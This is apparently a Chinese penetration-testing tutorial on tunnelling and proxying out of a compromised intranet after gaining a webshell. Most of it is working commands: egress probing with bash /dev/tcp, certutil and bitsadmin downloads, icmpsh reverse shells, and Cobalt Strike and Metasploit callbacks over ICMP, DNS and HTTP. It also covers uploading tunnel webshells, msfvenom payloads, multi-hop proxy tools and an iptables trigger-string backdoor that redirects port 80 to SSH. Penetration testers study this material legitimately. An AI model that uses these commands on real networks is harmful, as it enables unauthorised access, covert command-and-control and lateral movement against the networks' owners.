内网安全之隧道代理
探测出网协议和端口
我们拿下网站的shell之后,网站的防火墙很有可能对出网端口进行了一些设置,这时候我们就要探测可以出网的端口以便反弹Shell,配置socks代理等进一步操作
到底什么是不出网?
不出网大多数是由于防火墙规则以及路由等原因导致的 主机不能访问特定外部端口或者IP(注意是主机往外访问不了,不是外面访问不了主机,很多人会理所当然的理解成主机不出网=与世隔绝) ,如果限定了ip白名单我们无能为力,如果只开放了特定的端口,我们可以对特定的出网端口进行探测和利用
出网端口探测方法论
当某个端口不出网,那么我们访问外部的主机都会被拦截,例如80和443不出网,意味着我们访问80和443端口的网站都会出错,无论对方主机是否开放80和443,对其进行端口扫描都会显示closed。 利用这个原理,如果我们想探测A主机的出网端口,我们只需要让A主机扫描我们的vps的全端口或者常用端口,如果显示开放,那么A主机的端口也一定是出网 使用 python -m http.server
搭建一个持久化可监听端口,并且使用iptables将所有端口转发到8000
//将所有端口的流量都转发到 8000 端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 8000
//查看 nat 表的规则
iptables -t nat -nvL
//清楚 nat 表所有规则
iptables -t nat -F
//备份 iptables 规则
iptables-save > /tmp/firewall.rules
//恢复 iptables 规则
iptables-restore < /tmp/firewall.rules
我们给主机配置出站规则,只允许8000-8004端口出网,其他端口阻止连接
使用任意的端口扫描工具对远程主机进行探测,发现成功探测出这5个端口
端口扫描工具
linux命令行扫描
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
fscan masscan kscan 御剑tcp扫描等等看个人喜好 探测端口的范围可根据nmap常用端口来
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
出网协议探测
ICMP协议 vps监听tcp流量 tcpdump icmp
,目标主机Ping vps如果收到消息那么icmp协议出网
DNS协议 windows和linux命令不同,如果能解析域名说明dns出网
Windows:nslookup、ping
Linux:nslookup、dig、ping
HTTP协议 只要能访问该地址的命令都算
linux:wget curl
windows:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
ICMP协议出网场景利用
如果HTTP隧道,DNS隧道等方式都失败了,但是Ping命令好用,就可以尝试ICMP隧道
使用 Icmpsh 进行命令控制
Icmpsh地址:git clone https://github.com/inquisb/icmpsh.git
只能用于windows的shell反弹 使用vps关闭icmp回复 sysctl -w net.ipv4.icmp_echo_ignore_all=1
否则反弹回来的Shell会一直刷新 在vps执行之前要安装impacket库这里不在陈述,执行 python2 icmpsh_m.py vps网卡eth0的ip 目标主机出网ip
在目标主机执行 icmpsh.exe -t vps公网ip -d 500 -b 30 -s 128
-t:指定远程主机 ip
-d:请求之间的延迟,单位为毫秒,默认 200
-b:退出前的最大空格数(未应答的 icmp 请求)
-s:最大数据缓冲区的字节大小(默认值为 64 个字节)
成功反弹交互式shell
使用wireshark也可以发现两者之间通信全部用的ICMP包
使用PingTunnel搭建隧道
pingtunnel 是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
开启正向socks代理
注意这里是正向socks,服务端指的是目标主机,客户端指的是vps 关闭 icmp 回复
sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端操作
./pingtunnel -type client -l :1080 -s 192.168.3.132 -sock5 1 -noprint 1 -nolog 1
进行端口转发
服务端开启监听
pingtunnel.exe -type server -noprint 1 -nolog 1
客户端将服务端8000端口转发到本地8080端口
./pingtunnel -type client -l :8080 -s 192.168.3.132 -t 192.168.3.132:80 -tcp 1 -noprint 1 -nolog 1
访问本地8080端口相当于访问8000端口
当然-t参数不是只允许填服务端的ip,也可以是A通过B转发到C B是服务端 A是客户端 C是-t的参数
ICMP 上线 CobaltStrike
场景 192.168.3.1
与 192.168.3.132
为同一内网 192.168.3.128
为cs,出站只能用icmp,我们要让 192.168.3.132
上线只需要让其流量发送到 192.168.3.1
,在又其转发icmp包到cs主机即可 让 192.168.3.132
的流量发送到 **192.168.3.1**
,然后再通过icmp端口转发转发给cs就行了 配置cs监听器,注意最下方的监听端口需要设置,网上很多都是设置两个监听器,我这样配置一个就行了,6666是抓发到3.1的,5544是icmp转发到cs的
cs开启监听 ./pingtunnel -type server -noprint 1 -nolog 1
192.168.3.1
开启转发 pingtunnel -type client -l :6666 -s 192.168.3.128 -t 192.168.3.128:5544 -tcp 1 -noprint 1 -nolog 1
生成stageless木马,在3.132主机运行成功上线cs
可以看到内网主机之间的通信是tcp
与cs服务器的通信为Icmp
DNS出网场景利用
DNS协议表面是解析域名返回ip,实际上可以返回任何数据,一台主机看似是不出网了,我们就可以利用它的DNS服务器和主机进行交互,将其他协议封装在DNS协议进行传输
CobaltStrike 中 DNS Beacon 的使用
准备工作:一台公网C2服务器,一个自己的域名 在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中, 就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依 靠 DNS 协议即可进行数据包的交互。从 DNS 协议的角度来看,这样的操作只是在一次次 地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上返回的可以是任意的字符串,包括加密的 C&C 指令。 具体实现就是利用NS记录把dns服务器定向为我们自己的服务器,这样就可以自定义返回内容 小tips: 网上的做法就是设置一个A记录指向自己的ip,然后ns记录指向自己的域名
然后配置一个dns监听器,然后生成stagerless的马然后上线
其实这种做法有点多此一举,A记录域名那里完全可以置空,照样可以上线,如果CS默认不让为空,你可以把ip写个1或者任意ip试一下照样能上线,同理关于HTTP的马以及其他类型的马,只要是生成stagerless的马,第二个ip都可以置空,因为第一个ip是指定马的反弹ip,第二个Ip是为了给stager的马接收payload用,而stagerless的马是完整了不需要再次通信接收paylpad 默认情况下上线之后主机是黑色的,需要执行以下两条命令显示出主机信息
利用iodine搭建隧道
项目地址:GitHub - yarrick/iodine: Official git repo for iodine dns tunnel 下载到linux之后 make && make install
进行安装即可 执行以下命令启动服务端
iodined -f -c -P helloworld 192.168.10.1 ns.kaeiy.xyz -DD
-f:在前台运行 -c:禁止检查所有传入请求的客户端 IP 地址 -P:指定密码 -D:指定调试级别。-DD 指第二级,D 的数量随等级增加 这里的 192.168.10.1 是自定义的局域网虚拟 IP 地址
配置完成之后访问如下网站进行测试 [https://code.kryo.se/iodine/check-it/](https://code.kryo.se/iodine/check-it/)
服务端启动成功之后发现我们电脑上多了一块网卡
客户端连接服务端
iodine.exe -f -P helloworld -M 200 ns.kaeiy.xyz
发现客户端也多了一块网卡
此时服务端可ping通客户端
curl也完全正常
目标不出网场景之HTTP隧道
当我们拿到shell,目标又完全不出网,就只能用HTTP隧道
reGeorg
项目地址:GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. reGeorg是采用python2开发的http正向代理工具 上传代理脚本到目标网站,使用执行以下命令连接即可
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://192.168.3.132/tunnel.nosocket.php
使用代理工具连接服务器即可
Neo-reGeorg
是reGrorg的升级版,具有传输流量加密,支持python2/3等许多优点 项目地址:GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg 使用命令生成我们自定义key的脚本
python3 neoreg.py generate -k admin12345678
将脚本放到目标网站下,使用命令进行连接
python3 neoreg.py -l 0.0.0.0 -p 1080 -k admin12345678 -u http://192.168.3.132/tunnel.php
自定义访问页面
自己先在脚本目录下随便创建一个html文件 生成脚本执行以下命令
python3 neoreg.py generate -k admin --file test.html --httpcode 200
访问脚本就会出现代码雨
ABPTTS
一款基于 SSL 加密的 HTTP 端口转发工具,全程通信数据加密,比reGerog都要稳定。使用 python2 编写,但是该工具只支持 aspx 和jsp 脚本的网站 项目地址:GitHub - nccgroup/ABPTTS: TCP tunneling over HTTP/HTTPS for web application servers 需要提前安装两个库,如果在kali下安装用管理员安装
python2 -m pip install pycryptodemo
python2 -m pip install httplib2
执行以下命令生成webshell
python2 abpttsfactory.py -o webshell
将abptts.jsp文件复制到网站目录下进行访问
执行以下命令将远程3389端口映射到本地
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:3389/192.168.3.132:3389 --unsafetls
mstsc连接本地127.0.0.1即可远程连接主机
reDuh
项目地址:GitHub - sensepost/reDuh: Create a TCP circuit through validly formed HTTP requests 将对应的脚本上传到网站目录,访问如下
使用 reDuhClient.jar 连接脚本地址
java -jar reDuhClient.jar http://192.168.3.132:8080/reDuh.jsp
他在本地开放一个1010端口,我们使用nc进行连接
nc -vv 127.0.0.1 1010
将本地的6666端口映射到远程的3389端口
[createTunnel]6666:127.0.0.1:3389
成功连接
Tunna
Tunna是2014年出品的一款基于HTTP隧道工具,可对任何通过 HTTP 的 TCP 通信进行包装和隧道传输 项目地址:GitHub - SECFORCE/Tunna: Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. 将脚本上传到网站目录,访问结果如下
将远程的3389转发到本地的1234端口
python proxy.py -u http://192.168.3.132:8080/conn.jsp -l 1234 -r 3389 -s -v
该软件不稳定,慎用
suo5
suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍。目前仅支持jsp 将脚本上传到对应的网站目录,访问如下
使用客户端连接生成启动socks
suo5-windows-amd64.exe -t http://192.168.3.132:8080/suo5.jsp -l 0.0.0.0:7788 --auth test:test123
配置好代理,成功连接
上线MSF与CS
上线MSF
使用abptts将远程的8888端口映射到vps的7777端口
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.3.132:8080/abptts.jsp -f 127.0.0.1:7777/127.0.0.1:8888
kali生成正向木马,让端口设置为8888,这样msf访问7777会通过HTTP隧道转发到8888上从而绕过防火墙
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f exe >shell.exe
MSF配置好exp
成功上线
上线msf写完之后我才意识到根本不用这么麻烦,越想越不对劲,他是不出网不是不入网,直接正向代理连过去就行了,也不需要上面的端口转发。。。。。只能说作为一种思路参考吧。。。。
上线cs
项目地址:GitHub - FunnyWolf/pystinger: Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具 使用该项目可以上线cs
- proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
- 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
- vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
- 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
- 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
- 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020
cobalt strike单主机上线
- proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
- 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
- stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
- 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
- cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
- 生成payload,上传到主机运行后即可上线
目标出网场景下的利用
FRP
FRP是一款简单、稳定高性能的内网反向代理工具,可以轻松的实现内网穿透。 下载地址:Releases · fatedier/frp
FRP进行反向socks代理
服务端 frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000 //客户端反连的端口
dashboard_addr = 0.0.0.0
dashboard_port = 7001 //开启仪表盘的端口
dashboard_user = root //仪表盘登录账号
dashboard_pwd = root //仪表盘登录密码
token = 0EDgBme3IdfeJSTd //客户端反连验证token
检查配置文件是否正确 ./frps verify -c ./frps.ini
启动服务端 ./frps -c ./frps.ini
客户端 frpc.ini
[common]
server_addr = 192.168.3.128 //服务端ip
server_port = 7000 //服务端端口
token = 0EDgBme3IdfeJSTd //认证token
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test] //服务名称,可自定义
remote_port = 12345 //开启服务端12345当做socks端口
plugin = socks5 //使用socks5代理模块
use_encryption = true //加密流量
use_compression = true //压缩流量
plugin_user = admin //socks连接账号
plugin_passwd = 123456 //socks连接密码
启动客户端 ./frpc -c ./frpc.ini
服务端也收到请求
成功连接socks服务
我们之前开启了服务端的仪表盘可以浏览器访问查看状态
使用FRP进行端口映射
远程映射RDP端口 服务端 frps.ini 不变
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = root
token = 0EDgBme3IdfeJSTd
客户端 frpc.ini 将本地的3389端口映射到远程服务器的7788端口
[common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7788
mstsc连接服务器7788端口
成功登录
远程映射WEB端口 服务端不变,客户端配置如下
[common]
server_addr = 192.168.3.128
server_port = 7000
token = 0EDgBme3IdfeJSTd
[HTTP]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 7788
映射完成之后访问服务端7788端口
同理可以完成其他对端口的映射
NPS
下载地址:https://github.com/ehang-io/nps/releases NPS 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp 流量转发,可支持任何 tcp、udp 上层协议,此外还支持内网http代理、内网 socks5 代理、p2p 等,并带有功能强大的 web 管理端。 下载系统对应版本后 linux ./nps install
windows nps.exe install
安装nps 默认配置文件在 nps/conf/nps.conf
记录了nps的监听端口,账号密码等 nps默认监听端口如下,如果端口有冲突记得修改端口
http_proxy_port:80
https_proxy_port:443
bridge_port :8024
web_port :8080
nps常用命令 nps start
nps stop
nps -version
默认登录端口是 8080
账号 admin
密码 123
新增nps客户端
使用客户端连接,客户端只需要单独的exe文件,压缩包里的配置文件可以丢掉
npc.exe -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2
连接成功之后发现仪表盘里客户端已经显示为在线,这时候我们就可以对客户端做操作
搭建nps反向socks代理
在socks代理新建socks代理,填写客户端id和服务器开放的socks端口即可
使用proxifier进行连接,用户名和密码是创建客户端时自定义的用户名
搭建tcp隧道进行端口映射
如果该端口只对内网开放,我们就可以把端口映射出来,当然也可以填写内网的其他主机,看自己的需求
连接成功,其他端口同理
搭建UDP隧道进行端口映射
该场景使用不多,但是和TCP端口映射一个原理,比如53端口是DNS服务器端口,DNS使用UDP协议 我们可以把内网的DNS服务器的IP映射到公网服务器上的自定义端口,这样把DNS服务器设置为公网的服务器就可以使用内网的DNS服务器进行解析
搭建HTTP正向代理
我们使用公网的8888端口作为HTTP代理访问内网网站
使用proxifier设置HTTP代理或者直接用浏览器插件设置都可以 这时访问内网网站的地址,验证客户端账号密码
访问成功
搭建SSH私密代理
其实就是加密的TCP隧道,为了防止其他人使用 配置好目标机器和秘钥
点击加号会出现远程端命令,这个命令例如A想通过VPS连接内网的B,那么这条命令是A来执行
执行之后会显示将端口绑定在本地的2000端口上
mstsc访问本地2000端口即可
如果想自定义本地绑定端口可以用以下命令
npc -server=192.168.3.128:8024 -vkey=mxkt13ximrr7o3d2 -type=tcp -password=123456 -local_type=secret -local_port=8888
EW
ew 全称是 EarchWorm,是一套轻量便携且功能强大的网络穿透工具,基于标准 C 开发,具有 socks5 代理、端口转发和端口映射三大功能,可在复杂网络环境下 完成网络穿透,且支持全平台(Windows/Linux/Mac)。 但是该应用官网现已下架,但在github仍可搜到。 这个工具说实话命令晦涩难懂,实际中对大型网络的渗透没必要用,有其他好用的代理软件,并且已经被杀毒软件标记,把最基本的正反向代理学会即可,其他命令没必要深究。
EW正向代理
Web服务器的设置 如果是Linux系统 ./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
如果是Windows系统 ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口 主机的设置 如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 如果是Windows系统,直接浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
EW反向代理
Web服务器的设置 Linux系统: ./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 Windows系统: ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口 主机的设置 如果是Linux系统: ./ew_for_linux64 -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 如果是Windows系统 ew_for_Win.exe -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量 然后浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
IOX
端口转发 & 内网代理工具,功能类似于lcx/ew,但是比它们更好
为什么写iox?
lcx和ew是很优秀的工具,但还可以提高 在最初使用它们的很长一段时间里,我都记不住那些复杂的命令行参数,诸如tran, slave, rcsocks, sssocks。工具的工作模式很清晰,明明可以用简单的参数表示,为什么他们要设计成这样(特别是ew的-l -d -e -f -g -h) 除此之外,我认为网络编程的逻辑可以优化 举个栗子,当运行lcx -listen 8888 9999命令时,客户端必须先连:8888,再连:9999,实际上这两个端口是平等的,在iox里则没有这个限制。当运行lcx -slave 1.1.1.1 8888 1.1.1.1 9999命令时,lcx会串行的连接两个主机,但是并发连接两个主机会更高效,毕竟是纯I/O操作,iox就是这样做的 更进一步,iox提供了流量加密功能 (当目标有IDS时会很有用)。实际上,你可以直接将iox当做一个简易的使用 iox还提供了UDP流量转发的功能 当然,因为iox是用Go写的,所以静态连接的程序有一点大,原程序有2.2MB(UPX压缩后800KB)
特性
- 流量加密(可选)
- 友好的命令行参数
- 逻辑优化
- UDP流量转发
- 反向代理模式中使用TCP多路复用
工作模式
fwd
监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
监听本地 8888 端口和 9999 端口,将两个连接间的流量进行转发,流量加密
./iox fwd -l *8888 -l *9999 -k 656565
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
利用iox进行端口映射
vps开启监听
./iox fwd -l *4455 -l 3389 -k 656565
内网主机进行端口转发
iox.exe fwd -r 192.168.3.131:3389 -r *192.168.3.128:8888 -k 656565
成功连接
proxy
socks5 反向代理 vps执行
./iox proxy -l *9999 -l *1080 -k 656565
内网机器执行
iox.exe proxy -r *192.168.3.128:9999 -k 656565
Venom
Venom 是一款为渗透测试人员设计的使用 Go 开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom 轻松地将网络流量代理到多层内网,并轻松地管理代理节点。 项目地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers 具体的命令参数请看项目地址介绍,这里只列出常用的命令
一级代理
反向socks代理 vps进行监听 admin.exe -lport 7777
客户端进行连接 .\agent.exe -rhost 192.168.3.1 -rport 7777
admin收到连接使用Show命令刷新节点数量,发现1节点
使用goto命令跳转到1节点,使用socks命令在vps建立1080端口代理
成功连接
使用shell命令可在节点上开启交互式shell窗口 exit命令退出
配置主机的备注
正向socks代理 在目标主机使用agent进行监听 .\agent.exe -lport 8888
vps使用admin正向连接 admin.exe -rhost 192.168.3.131 -rport 8888
二级代理
在已经拿下一台内网A主机的基础上,想通过A主机连接B主机 反向连接 A节点使用listen命令监听端口
b主机进行反向连接成功连接
正向连接 B节点开启监听,A节点主动连接
如果目标主机是linux可以建立ssh隧道,目标机器开启监听
使用1节点 sshconnect连接,注意这里运行admin的vps必须要有ssh服务才能连接,否则连接时会报unknown choice
upload命令上传文件到目标机器
download命令同理这里不在赘述 lforward 将vps端口转发到node节点,例如将vps 3389转发到Node节点3389
lforward 127.0.0.1 3389 3389
rforward 将node节点转发到vps 3389
rforward 127.0.0.1 3389 3389
以上两个端口转发内网其他地址也可以 学习了二级代理后多级代理是一个原理不在赘述
rakshasa
rakshasa是一个用Go编写的程序,旨在创建一个能够实现 多级代理 ,内网穿透网络请求。它可以在节点群中任意两个节点之间转发tcp请求和响应,同时支持 socks5代理 , http代理 ,并可 引入外部http、socks5代理池,自动切换请求ip 。 节点之间使用内置证书的TLS加密TCP通信,再叠加一层自定义秘钥的AES加密。该程序可在所有Go支持的平台上使用,包括Windows和Linux服务器。 项目地址:GitHub - Mob2003/rakshasa: 基于go编写的跨平台、稳定、隐秘的多级代理内网穿透工具
为了方便演示,这里全部用的 **fullnode ** 分为CLI模式和非CLI模式,如果使用CLI模式用法比较直观简单,去看演示文档即可不再累赘
https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E9%A1%B9%E7%9B%AE%E8%AE%BE%E8%AE%A1.md
Stowaway
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具 用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能
一级代理
vps开启监听 .\windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
windows_x64_admin.exe -l 6666
内网主机连接vps,每五秒重发一次
.\windows_x64_agent.exe -c 192.168.3.1:6666 --reconnect 5
查看一下详细信息和本节点下的拓扑结构
使用0节点,开启socks和关闭socks
执行shell命令
二级代理
想通过node 0节点连接其他节点,先在node 0节点监听8888端口
内网主机进行连接
./linux_x64_agent -c 192.168.3.131:8888
MSF与CS隧道搭建与端口转发
运行以下命令自动添加路由
run post/multi/manage/autoroute OPTION=value
查看路由
route print
这个路由是msf全局的,不是局限于某个session,添加好路由之后开启socks代理即可
se auxiliary/server/socks_proxy
set version 4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run
将目标主机的3389转发到本地的3389,需要先 load stdapi
portfwd add -l 3389 -r 192.168.3.131 -p 3389
cs端口转发,将远程的3333转发给自己的889
rportfwd 3333 127.0.0.1 889
端口复用
网上有很多,包括iptables,winrm,以及脚本的代理转发等,出了iptables感觉实用性都不大,因此这里只写iptables 当一个linux系统只允许80端口入网,就需要做端口复用,当然我认为使用http隧道做端口转发也可以
根据源地址做端口复用
将192.168.3.1访问80端口的流量都转发到22端口
iptables -t nat -A PREROUTING -p tcp -s 192.168.3.1 --dport 80 -j REDIRECT --to-port 22
查看nat表规则
iptables -t nat -nvL
清除nat表规则
iptables -t nat -F
此时已经添加成功
这时连接80是能连接的
利用tcp协议做遥控开关
创建端口复用链
iptables -t nat -N LETMEIN2
创建端口复用规则,将流量转发至 22 端
iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22
开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到 加为 letmein2 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT
关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein2 的列表中移出
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT
如果发现 SYN 包的来源 IP 处于 letmein2 列表中,将跳转到 LETMEIN2 链进行处 理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH
echo threathuntercoming | socat - tcp:192.168.3.128:80
关闭复用,关闭后,80 恢复正常
echo threathunterleaving | socat - tcp:192.168.3.128:80
总结
这篇文章几乎囊括了渗透测试中的所有主流代理软件,以及他们的详细用法和场景使用,书写不易,希望能帮到大家